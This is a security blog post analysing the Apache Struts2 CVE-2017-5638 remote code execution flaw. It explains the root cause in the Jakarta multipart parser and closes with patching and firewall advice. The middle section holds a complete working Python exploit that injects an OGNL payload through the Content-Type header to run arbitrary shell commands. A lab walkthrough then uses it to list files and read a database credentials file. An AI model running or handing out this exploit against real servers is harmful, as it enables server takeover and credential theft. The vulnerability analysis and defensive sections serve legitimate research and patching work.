Exploiting Apache Struts2 CVE-2017–5638 | Lucideus Research

Lucideus
6 min readOct 26, 2018

--

A few days back a Chinese researcher, Nike Zheng reported a Remote Code Execution (RCE) vulnerability in Apache Struts2. The vulnerability exploits a bug in Jakarta’s Multipart parser used by Apache Struts2 to achieve RCE by sending a specially crafted Content-Type header in the request.

Equifax, a consumer credit reporting agency, that collects and aggregates information on over 800 million individual consumers and more than 88 million businesses worldwide, confirmed that their high profile, high impact data breach was due to an exploit of the same vulnerability i.e Apache Struts CVE-2017–5638. Apache Struts is a mainstream web framework. It is widely used by Fortune 100 companies in education, government, financial services, retail and media. This is a perfect example for a vulnerability in third party component. Thus, any vulnerability in such framework yields a huge impact. This blog explains the detailed analysis of the vulnerability, exploitation and how it can be virtually patched.

Vulnerable Application Frameworks:

Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1

Nmap Script to test if your application is vulnerable:

https://nmap.org/nsedoc/scripts/http-vuln-cve2017-5638.html

Example Usage

nmap -p <port> --script http-vuln-cve2017-5638 --script-args path=<application path> <target IP Address>

Vulnerability Type:

Input Validation

CVSS v3 Score

10 (Critical)

The Vulnerability: Content-Type Header Injection

According to Apache, the vulnerability exists in the Jakarta Multipart parser. An Exception is thrown when an invalid value is placed in the Content-Type header.

This exception is used to display the error to the user. An attacker may exploit this vulnerability to escape the data scope into the execution scope through the Content-Type header. The payload is illustrated in the Figure 1.

Figure 1

Root Cause Analysis

The root cause of the vulnerability is that Apache Struts2 by default uses Jakarta’s Multipart parser when the content type header is set to multipart/form-data. A crafted content type header with an OGNL expression ( Object Graph Notation Language) passed into Jakarta’s Multipart parser will trigger an exception which is then passed into an error message building function along with the OGNL payload. That function evaluates the OGNL expression resulting in code execution.

Let’s take a detailed look into this vulnerability.

If we sent a content type header like the following

Content-Type: %{(#_='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('curl localhost:8000'))}

This will hit the wrapRequest method present in org.apache.struts2.dispatcher.Dispatcher class.

Reference

The payload contains (#_=’multipart/form-data’) which will satisfy the condition and the OGNL payload is passed into Jakarta’s Multipart parser. The parser tries to parse the payload using parse method in org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest class.

Reference

This will result in an exception and the buildErrorMessage method present in org.apache.struts2.dispatcher.JakartaMultiPartRequest is called.

The execution will further go through couple of methods, findText method calls getDefaultMessage which calls TextParseUtil.translateVariables method that calls evaluate method which will evaluate the OGNL expression in the payload.

If you consider this OGNL syntax %{ OGNL code }, anything inside %{ } is considered as an OGNL expression and will be evaluated by the OGNL parser. ${ } is also a valid expression.

In our case the following OGNL expression contains Java code that uses getRuntime().exec to execute shell commands. This will be evaluated by the OGNL parser and results in code execution.

Exploitation

Let’s quickly set up a vulnerable Apache Struts2 web application.

Prerequisites

  • The demo Showcase application is available as accessible from below mentioned link

Struts2-showcase-2.3.12.war

  • The Exploit is available publically through the following exploit DB url

https://www.exploit-db.com/exploits/41570/

  • Download and Configure Tomcat 7 on a local server/droplet from

https://tomcat.apache.org/download-70.cgi

Steps to Conquer the Server

  1. Step 1: Download Struts2-showcase-2.3.12.war and copy as following

cp ~/Downloads/struts2-showcase-2.3.12.war /etc/tomcat7/webapps/

2. We renamed struts2-showcase-2.3.12 to “str” for ease of use.

3. Start the tomcat server by issuing the command

service Tomcat7 start

4. Tomcat will automatically deploy struts2-showcase-2.3.12.war by extracting it to struts2-showcase-2.3.12 under webapps directory.

5. You can now access the struts app by navigating the below address as shown in Figure 2.

http://ip:8080/str/showcase.action

Figure 2

6. Now let’s exploit this using the vanilla payload as mentioned below

#!/usr/bin/python
# -*- coding: utf-8 -*-
import urllib2
import httplib
def exploit(url, cmd):
payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
try:
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
request = urllib2.Request(url, headers=headers)
page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
page = e.partial
print(page)
return page
if __name__ == '__main__':
import sys
if len(sys.argv) != 3:
print("[*] str.py <url> <cmd>")
else:
print('[*]CVE: 2017-5638 - Apache Struts2 S2-045')
url = sys.argv[1]
cmd = sys.argv[2]
print("[*] cmd: %s\n" % cmd)
exploit(url, cmd)

7. To execute RCE we use the following command syntax

python <exploit-script> <ip> <command>

8. Outputs of successful remote code execution are as described in following images

python str.py http://<ip>:8080/str/ “ls”

python str.py http://<ip>:8080/str/ “ls ./database”

python str.py http://<ip>:8080/str/ “cat ./database/users.sql”

Note: Sample unencrypted sql file containing credentials. Chances of this are rare in production server! It is here for Demo purpose.

Patching

It shall be interesting to see if the attack trend on the platform continues as this is not the first RCE vulnerability in Apache Struts. In the meantime, organizations using Apache Struts2 should take immediate steps to patch the vulnerability.

Official Patch

The official solution provided by Apache suggests either upgrading to a patched version or switching to a different multipart parse implementation. This is an expensive option for many companies, as an upgrade is often a long process that involves backups, testing, and sometimes even a partial downtime.

Upgrading parser

An alternative mitigation to upgrading Struts is to switch to using Jason Pells multipart parser. This plugin replaces the vulnerable Struts component and can be installed by copying the plugin jar into your application’s /WEB-INF/lib directory. The library will need to be included in your application as well.

Web Application Firewall

Instead of leaving a web application exposed to attack after discovering a vulnerability while code is modified, virtual patching actively protects web apps from attacks, reducing the window of exposure and decreasing the cost of emergency fix cycles until you’re able to patch them.

As an example of such virtual patch is a Web Application Firewall (WAF) that provides virtual patching:

  • Doesn’t interfere with the normal application workflow
  • Keeps site(s) protected and attackers out of reach
  • Allows site owners to control the patching process timeline

WAF such as mod_security could mitigate this attack if the rules are set to whitelist valid content types or blacklist OGNL expressions.

In addition to virtual patching, zero-day detection mechanisms and advanced threat detection modules protect sites by detecting and blocking new strains of attack prior to an attack release without any modification to systems.

References and Further Reading:

  1. https://en.wikipedia.org/wiki/OGNL
  2. https://github.com/apache/struts/
  3. https://www.exploit-db.com/exploits/41570/
  4. https://www.cybersecurity-insiders.com/will-it-pwn-cve-2017-5638-remote-code-execution-in-apache-struts-2/
  5. https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax

--

--